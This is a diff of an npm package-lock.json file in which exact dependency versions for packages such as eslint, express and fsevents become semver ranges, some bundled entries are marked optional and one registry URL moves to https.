{ @@ -4003,9 +4021,9 @@ "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", "dev": true, "requires": { - "d": "1.0.0", - "es5-ext": "0.10.46", - "es6-symbol": "3.1.1" + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" } }, "es6-promise": { @@ -4020,8 +4038,8 @@ "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", "dev": true, "requires": { - "d": "1.0.0", - "es5-ext": "0.10.46" + "d": "1", + "es5-ext": "~0.10.14" } }, "es6-templates": { @@ -4030,8 +4048,8 @@ "integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=", "dev": true, "requires": { - "recast": "0.11.23", - "through": "2.3.8" + "recast": "~0.11.12", + "through": "~2.3.6" } }, "escape-html": { @@ -4052,11 +4070,11 @@ "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=", "dev": true, "requires": { - "esprima": "2.7.3", - "estraverse": "1.9.3", - "esutils": "2.0.2", - "optionator": "0.8.2", - "source-map": "0.2.0" + "esprima": "^2.7.1", + "estraverse": "^1.9.1", + "esutils": "^2.0.2", + "optionator": "^0.8.1", + "source-map": "~0.2.0" }, "dependencies": { "estraverse": { @@ -4072,7 +4090,7 @@ "dev": true, "optional": true, "requires": { - "amdefine": "1.0.1" + "amdefine": ">=0.0.4" } } } @@ -4083,44 +4101,44 @@ "integrity": "sha512-hgrDtGWz368b7Wqf+v1Z69O3ZebNR0+GA7PtDdbmuz4rInFVUV9uw7whjZEiWyLzCjVb5Rs5WRN1TAS6eo7AYA==", "dev": true, "requires": { - "@babel/code-frame": "7.0.0", - "ajv": "6.5.4", - "chalk": "2.4.1", - "cross-spawn": "6.0.5", - "debug": "4.1.0", - "doctrine": "2.1.0", - "eslint-scope": "4.0.0", - "eslint-utils": "1.3.1", - "eslint-visitor-keys": "1.0.0", - "espree": "4.0.0", - "esquery": "1.0.1", - "esutils": "2.0.2", - "file-entry-cache": "2.0.0", - "functional-red-black-tree": "1.0.1", - "glob": "7.1.3", - "globals": "11.8.0", - "ignore": "4.0.6", - "imurmurhash": "0.1.4", - "inquirer": "6.2.0", - "is-resolvable": "1.1.0", - "js-yaml": "3.12.0", - "json-stable-stringify-without-jsonify": "1.0.1", - "levn": "0.3.0", - "lodash": "4.17.10", - "minimatch": "3.0.4", - "mkdirp": "0.5.1", - "natural-compare": "1.4.0", - "optionator": "0.8.2", - "path-is-inside": "1.0.2", - "pluralize": "7.0.0", - "progress": "2.0.0", - "regexpp": "2.0.1", - "require-uncached": "1.0.3", - "semver": "5.5.1", - "strip-ansi": "4.0.0", - "strip-json-comments": "2.0.1", - "table": "4.0.3", - "text-table": "0.2.0" + "@babel/code-frame": "^7.0.0", + "ajv": "^6.5.3", + "chalk": "^2.1.0", + "cross-spawn": "^6.0.5", + "debug": "^4.0.1", + "doctrine": "^2.1.0", + "eslint-scope": "^4.0.0", + "eslint-utils": "^1.3.1", + "eslint-visitor-keys": "^1.0.0", + "espree": "^4.0.0", + "esquery": "^1.0.1", + "esutils": "^2.0.2", + "file-entry-cache": "^2.0.0", + "functional-red-black-tree": "^1.0.1", + "glob": "^7.1.2", + "globals": "^11.7.0", + "ignore": "^4.0.6", + "imurmurhash": "^0.1.4", + "inquirer": "^6.1.0", + "is-resolvable": "^1.1.0", + "js-yaml": "^3.12.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.3.0", + "lodash": "^4.17.5", + "minimatch": "^3.0.4", + "mkdirp": "^0.5.1", + "natural-compare": "^1.4.0", + "optionator": "^0.8.2", + "path-is-inside": "^1.0.2", + "pluralize": "^7.0.0", + "progress": "^2.0.0", + "regexpp": "^2.0.0", + "require-uncached": "^1.0.3", + "semver": "^5.5.1", + "strip-ansi": "^4.0.0", + "strip-json-comments": "^2.0.1", + "table": "^4.0.3", + "text-table": "^0.2.0" }, "dependencies": { "@babel/code-frame": { @@ -4129,7 +4147,7 @@ "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==", "dev": true, "requires": { - "@babel/highlight": "7.0.0" + "@babel/highlight": "^7.0.0" } }, "@babel/highlight": { @@ -4138,9 +4156,9 @@ "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==", "dev": true, "requires": { - "chalk": "2.4.1", - "esutils": "2.0.2", - "js-tokens": "4.0.0" + "chalk": "^2.0.0", + "esutils": "^2.0.2", + "js-tokens": "^4.0.0" } }, "ajv": { @@ -4149,10 +4167,10 @@ "integrity": "sha512-4Wyjt8+t6YszqaXnLDfMmG/8AlO5Zbcsy3ATHncCzjW/NoPzAId8AK6749Ybjmdt+kUY1gP60fCu46oDxPv/mg==", "dev": true, "requires": { - "fast-deep-equal": "2.0.1", - "fast-json-stable-stringify": "2.0.0", - "json-schema-traverse": "0.4.1", - "uri-js": "4.2.2" + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" } }, "ansi-regex": { @@ -4167,7 +4185,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -4176,9 +4194,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.5.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "cross-spawn": { @@ -4187,11 +4205,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "1.0.5", - "path-key": "2.0.1", - "semver": "5.5.1", - "shebang-command": "1.2.0", - "which": "1.3.0" + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" } }, "debug": { @@ -4200,7 +4218,7 @@ "integrity": "sha512-heNPJUJIqC+xB6ayLAMHaIrmN9HKa7aQO8MGqKpvCA+uJYVcvR6l5kgdrhRuwPFHU7P5/A1w0BjByPHwpfTDKg==", "dev": true, "requires": { - "ms": "2.1.1" + "ms": "^2.1.1" } }, "eslint-scope": { @@ -4209,8 +4227,8 @@ "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", "dev": true, "requires": { - "esrecurse": "4.2.1", - "estraverse": "4.2.0" + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" } }, "esprima": { @@ -4249,8 +4267,8 @@ "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", "dev": true, "requires": { - "argparse": "1.0.9", - "esprima": "4.0.1" + "argparse": "^1.0.7", + "esprima": "^4.0.0" } }, "json-schema-traverse": { @@ -4283,7 +4301,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } }, "supports-color": { @@ -4292,7 +4310,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -4303,11 +4321,11 @@ "integrity": "sha512-1GrJFfSevQdYpoDzx8mEE2TDWsb/zmFuY09l6hURg1AeFIKQOvZ+vH0UPjzmd1CZIbfTV5HUkMeBmFiDBkgIsQ==", "dev": true, "requires": { - "loader-fs-cache": "1.0.1", - "loader-utils": "1.1.0", - "object-assign": "4.1.1", - "object-hash": "1.3.0", - "rimraf": "2.6.2" + "loader-fs-cache": "^1.0.0", + "loader-utils": "^1.0.2", + "object-assign": "^4.0.1", + "object-hash": "^1.1.4", + "rimraf": "^2.6.1" }, "dependencies": { "loader-utils": { @@ -4316,9 +4334,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -4329,11 +4347,11 @@ "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==", "dev": true, "requires": { - "array-includes": "3.0.3", - "doctrine": "2.1.0", - "has": "1.0.3", - "jsx-ast-utils": "2.0.1", - "prop-types": "15.6.2" + "array-includes": "^3.0.3", + "doctrine": "^2.1.0", + "has": "^1.0.3", + "jsx-ast-utils": "^2.0.1", + "prop-types": "^15.6.2" } }, "eslint-scope": { @@ -4342,8 +4360,8 @@ "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", "dev": true, "requires": { - "esrecurse": "4.2.1", - "estraverse": "4.2.0" + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" } }, "eslint-utils": { @@ -4364,8 +4382,8 @@ "integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==", "dev": true, "requires": { - "acorn": "5.7.3", - "acorn-jsx": "4.1.1" + "acorn": "^5.6.0", + "acorn-jsx": "^4.1.1" } }, "esprima": { @@ -4380,7 +4398,7 @@ "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "requires": { - "estraverse": "4.2.0" + "estraverse": "^4.0.0" } }, "esrecurse": { @@ -4389,7 +4407,7 @@ "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "requires": { - "estraverse": "4.2.0" + "estraverse": "^4.1.0" } }, "estraverse": { @@ -4418,7 +4436,7 @@ }, "events": { "version": "1.1.1", - "resolved": "http://registry.npmjs.org/events/-/events-1.1.1.tgz", + "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", "dev": true }, @@ -4428,7 +4446,7 @@ "integrity": "sha1-Cs7ehJ7X3RzMMsgRuxG5RNTykjI=", "dev": true, "requires": { - "original": "1.0.2" + "original": ">=0.0.5" } }, "evp_bytestokey": { @@ -4437,8 +4455,8 @@ "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", "dev": true, "requires": { - "md5.js": "1.3.5", - "safe-buffer": "5.1.1" + "md5.js": "^1.3.4", + "safe-buffer": "^5.1.1" } }, "execa": { @@ -4447,13 +4465,13 @@ "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", "dev": true, "requires": { - "cross-spawn": "5.1.0", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" } }, "expand-braces": { @@ -4462,9 +4480,9 @@ "integrity": "sha1-SIsdHSRRyz06axks/AMPRMWFX+o=", "dev": true, "requires": { - "array-slice": "0.2.3", - "array-unique": "0.2.1", - "braces": "0.1.5" + "array-slice": "^0.2.3", + "array-unique": "^0.2.1", + "braces": "^0.1.2" }, "dependencies": { "braces": { @@ -4473,7 +4491,7 @@ "integrity": "sha1-wIVxEIUpHYt1/ddOqw+FlygHEeY=", "dev": true, "requires": { - "expand-range": "0.1.1" + "expand-range": "^0.1.0" } }, "expand-range": { @@ -4482,8 +4500,8 @@ "integrity": "sha1-TLjtoJk8pW+k9B/ELzy7TMrf8EQ=", "dev": true, "requires": { - "is-number": "0.1.1", - "repeat-string": "0.2.2" + "is-number": "^0.1.1", + "repeat-string": "^0.2.2" } }, "is-number": { @@ -4507,7 +4525,7 @@ "dev": true, "optional": true, "requires": { - "is-posix-bracket": "0.1.1" + "is-posix-bracket": "^0.1.0" } }, "expand-range": { @@ -4517,7 +4535,7 @@ "dev": true, "optional": true, "requires": { - "fill-range": "2.2.3" + "fill-range": "^2.1.0" } }, "express": { @@ -4526,36 +4544,36 @@ "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=", "dev": true, "requires": { - "accepts": "1.3.5", + "accepts": "~1.3.5", "array-flatten": "1.1.1", "body-parser": "1.18.2", "content-disposition": "0.5.2", - "content-type": "1.0.4", + "content-type": "~1.0.4", "cookie": "0.3.1", "cookie-signature": "1.0.6", "debug": "2.6.9", - "depd": "1.1.2", - "encodeurl": "1.0.2", - "escape-html": "1.0.3", - "etag": "1.8.1", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", "finalhandler": "1.1.1", "fresh": "0.5.2", "merge-descriptors": "1.0.1", - "methods": "1.1.2", - "on-finished": "2.3.0", - "parseurl": "1.3.2", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.2", "path-to-regexp": "0.1.7", - "proxy-addr": "2.0.4", + "proxy-addr": "~2.0.3", "qs": "6.5.1", - "range-parser": "1.2.0", + "range-parser": "~1.2.0", "safe-buffer": "5.1.1", "send": "0.16.2", "serve-static": "1.13.2", "setprototypeof": "1.1.0", - "statuses": "1.4.0", - "type-is": "1.6.16", + "statuses": "~1.4.0", + "type-is": "~1.6.16", "utils-merge": "1.0.1", - "vary": "1.1.2" + "vary": "~1.1.2" }, "dependencies": { "array-flatten": { @@ -4571,15 +4589,15 @@ "dev": true, "requires": { "bytes": "3.0.0", - "content-type": "1.0.4", + "content-type": "~1.0.4", "debug": "2.6.9", - "depd": "1.1.2", - "http-errors": "1.6.3", + "depd": "~1.1.1", + "http-errors": "~1.6.2", "iconv-lite": "0.4.19", - "on-finished": "2.3.0", + "on-finished": "~2.3.0", "qs": "6.5.1", "raw-body": "2.3.2", - "type-is": "1.6.16" + "type-is": "~1.6.15" } }, "debug": { @@ -4598,12 +4616,12 @@ "dev": true, "requires": { "debug": "2.6.9", - "encodeurl": "1.0.2", - "escape-html": "1.0.3", - "on-finished": "2.3.0", - "parseurl": "1.3.2", - "statuses": "1.4.0", - "unpipe": "1.0.0" + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.2", + "statuses": "~1.4.0", + "unpipe": "~1.0.0" } }, "iconv-lite": { @@ -4645,7 +4663,7 @@ "depd": "1.1.1", "inherits": "2.0.3", "setprototypeof": "1.0.3", - "statuses": "1.4.0" + "statuses": ">= 1.3.1 < 2" } }, "setprototypeof": { @@ -4676,8 +4694,8 @@ "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", "dev": true, "requires": { - "assign-symbols": "1.0.0", - "is-extendable": "1.0.1" + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" }, "dependencies": { "is-extendable": { @@ -4686,7 +4704,7 @@ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, "requires": { - "is-plain-object": "2.0.4" + "is-plain-object": "^2.0.4" } } } @@ -4697,9 +4715,9 @@ "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==", "dev": true, "requires": { - "chardet": "0.7.0", - "iconv-lite": "0.4.24", - "tmp": "0.0.33" + "chardet": "^0.7.0", + "iconv-lite": "^0.4.24", + "tmp": "^0.0.33" }, "dependencies": { "iconv-lite": { @@ -4708,7 +4726,7 @@ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dev": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": ">= 2.1.2 < 3" } } } @@ -4720,7 +4738,7 @@ "dev": true, "optional": true, "requires": { - "is-extglob": "1.0.0" + "is-extglob": "^1.0.0" } }, "extract-zip": { @@ -4795,7 +4813,7 @@ "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", "dev": true, "requires": { - "websocket-driver": "0.7.0" + "websocket-driver": ">=0.5.1" } }, "fd-slicer": { @@ -4804,7 +4822,7 @@ "integrity": "sha1-i1vL2ewyfFBBv5qwI/1nUPEXfmU=", "dev": true, "requires": { - "pend": "1.2.0" + "pend": "~1.2.0" } }, "fetch": { @@ -4822,7 +4840,7 @@ "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "requires": { - "escape-string-regexp": "1.0.5" + "escape-string-regexp": "^1.0.5" } }, "file-entry-cache": { @@ -4831,8 +4849,8 @@ "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", "dev": true, "requires": { - "flat-cache": "1.3.0", - "object-assign": "4.1.1" + "flat-cache": "^1.2.1", + "object-assign": "^4.0.1" } }, "file-loader": { @@ -4841,8 +4859,8 @@ "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==", "dev": true, "requires": { - "loader-utils": "1.1.0", - "schema-utils": "0.4.7" + "loader-utils": "^1.0.2", + "schema-utils": "^0.4.5" }, "dependencies": { "loader-utils": { @@ -4851,9 +4869,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -4872,11 +4890,11 @@ "dev": true, "optional": true, "requires": { - "is-number": "2.1.0", - "isobject": "2.1.0", - "randomatic": "1.1.7", - "repeat-element": "1.1.2", - "repeat-string": "1.6.1" + "is-number": "^2.1.0", + "isobject": "^2.0.0", + "randomatic": "^1.1.3", + "repeat-element": "^1.1.2", + "repeat-string": "^1.5.2" } }, "finalhandler": { @@ -4886,12 +4904,12 @@ "dev": true, "requires": { "debug": "2.6.9", - "encodeurl": "1.0.2", - "escape-html": "1.0.3", - "on-finished": "2.3.0", - "parseurl": "1.3.2", - "statuses": "1.3.1", - "unpipe": "1.0.0" + "encodeurl": "~1.0.1", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.2", + "statuses": "~1.3.1", + "unpipe": "~1.0.0" }, "dependencies": { "debug": { @@ -4917,9 +4935,9 @@ "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", "dev": true, "requires": { - "commondir": "1.0.1", - "make-dir": "1.3.0", - "pkg-dir": "2.0.0" + "commondir": "^1.0.1", + "make-dir": "^1.0.0", + "pkg-dir": "^2.0.0" } }, "find-up": { @@ -4928,8 +4946,8 @@ "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", "dev": true, "requires": { - "path-exists": "2.1.0", - "pinkie-promise": "2.0.1" + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" } }, "flat-cache": { @@ -4938,10 +4956,10 @@ "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", "dev": true, "requires": { - "circular-json": "0.3.3", - "del": "2.2.2", - "graceful-fs": "4.1.11", - "write": "0.2.1" + "circular-json": "^0.3.1", + "del": "^2.0.2", + "graceful-fs": "^4.1.2", + "write": "^0.2.1" } }, "flush-write-stream": { @@ -4950,8 +4968,8 @@ "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", "dev": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "inherits": "^2.0.1", + "readable-stream": "^2.0.4" }, "dependencies": { "isarray": { @@ -4972,13 +4990,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -4987,7 +5005,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -4998,7 +5016,7 @@ "integrity": "sha512-GHjtHDlY/ehslqv0Gr5N0PUJppgg/q0rOBvX0na1s7y1A3LWxPqCYU76s3Z1bM4+UZB4QF0usaXLT5wFpof5PA==", "dev": true, "requires": { - "debug": "3.1.0" + "debug": "^3.1.0" }, "dependencies": { "debug": { @@ -5030,7 +5048,7 @@ "dev": true, "optional": true, "requires": { - "for-in": "1.0.2" + "for-in": "^1.0.1" } }, "forever-agent": { @@ -5045,9 +5063,9 @@ "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", "dev": true, "requires": { - "asynckit": "0.4.0", + "asynckit": "^0.4.0", "combined-stream": "1.0.6", - "mime-types": "2.1.16" + "mime-types": "^2.1.12" } }, "forwarded": { @@ -5062,7 +5080,7 @@ "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", "dev": true, "requires": { - "map-cache": "0.2.2" + "map-cache": "^0.2.2" } }, "fresh": { @@ -5077,8 +5095,8 @@ "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", "dev": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" }, "dependencies": { "isarray": { @@ -5099,13 +5117,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -5114,7 +5132,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -5125,9 +5143,9 @@ "integrity": "sha1-zTzl9+fLYUWIP8rjGR6Yd/hYeVA=", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "jsonfile": "2.4.0", - "klaw": "1.3.1" + "graceful-fs": "^4.1.2", + "jsonfile": "^2.1.0", + "klaw": "^1.0.0" } }, "fs-readdir-recursive": { @@ -5142,10 +5160,10 @@ "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "iferr": "0.1.5", - "imurmurhash": "0.1.4", - "readable-stream": "1.0.34" + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" } }, "fs.realpath": { @@ -5161,8 +5179,8 @@ "dev": true, "optional": true, "requires": { - "nan": "2.6.2", - "node-pre-gyp": "0.6.36" + "nan": "^2.3.0", + "node-pre-gyp": "^0.6.36" }, "dependencies": { "abbrev": { @@ -5177,14 +5195,15 @@ "dev": true, "optional": true, "requires": { - "co": "4.6.0", - "json-stable-stringify": "1.0.1" + "co": "^4.6.0", + "json-stable-stringify": "^1.0.1" } }, "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "aproba": { "version": "1.1.1", @@ -5235,7 +5254,8 @@ "balanced-match": { "version": "0.4.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "bcrypt-pbkdf": { "version": "1.0.1", @@ -5250,31 +5270,35 @@ "version": "0.0.9", "bundled": true, "dev": true, + "optional": true, "requires": { - "inherits": "2.0.3" + "inherits": "~2.0.0" } }, "boom": { "version": "2.10.1", "bundled": true, "dev": true, + "optional": true, "requires": { - "hoek": "2.16.3" + "hoek": "2.x.x" } }, "brace-expansion": { "version": "1.1.7", "bundled": true, "dev": true, + "optional": true, "requires": { - "balanced-match": "0.4.2", + "balanced-match": "^0.4.1", "concat-map": "0.0.1" } }, "buffer-shims": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "caseless": { "version": "0.12.0", @@ -5291,30 +5315,35 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "combined-stream": { "version": "1.0.5", "bundled": true, "dev": true, + "optional": true, "requires": { - "delayed-stream": "1.0.0" + "delayed-stream": "~1.0.0" } }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "core-util-is": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "cryptiles": { "version": "2.0.5", @@ -5322,7 +5351,7 @@ "dev": true, "optional": true, "requires": { - "boom": "2.10.1" + "boom": "2.x.x" } }, "dashdash": { @@ -5331,7 +5360,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "1.0.0" + "assert-plus": "^1.0.0" }, "dependencies": { "assert-plus": { @@ -5360,7 +5389,8 @@ "delayed-stream": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "delegates": { "version": "1.0.0", @@ -5374,7 +5404,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "extend": { @@ -5386,7 +5416,8 @@ "extsprintf": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "forever-agent": { "version": "0.6.1", @@ -5408,12 +5439,14 @@ "fs.realpath": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "fstream": { "version": "1.0.11", "bundled": true, "dev": true, + "optional": true, "requires": { "graceful-fs": "4.1.11", "inherits": "2.0.3", @@ -5454,7 +5487,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "1.0.0" + "assert-plus": "^1.0.0" }, "dependencies": { "assert-plus": { @@ -5469,6 +5502,7 @@ "version": "7.1.2", "bundled": true, "dev": true, + "optional": true, "requires": { "fs.realpath": "1.0.0", "inflight": "1.0.6", @@ -5481,7 +5515,8 @@ "graceful-fs": { "version": "4.1.11", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "har-schema": { "version": "1.0.5", @@ -5495,8 +5530,8 @@ "dev": true, "optional": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" + "ajv": "^4.9.1", + "har-schema": "^1.0.5" } }, "has-unicode": { @@ -5520,7 +5555,8 @@ "hoek": { "version": "2.16.3", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "http-signature": { "version": "1.1.1", @@ -5537,6 +5573,7 @@ "version": "1.0.6", "bundled": true, "dev": true, + "optional": true, "requires": { "once": "1.4.0", "wrappy": "1.0.2" @@ -5571,7 +5608,8 @@ "isarray": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "isstream": { "version": "0.1.2", @@ -5585,13 +5623,14 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "json-schema": { "version": "0.2.3", @@ 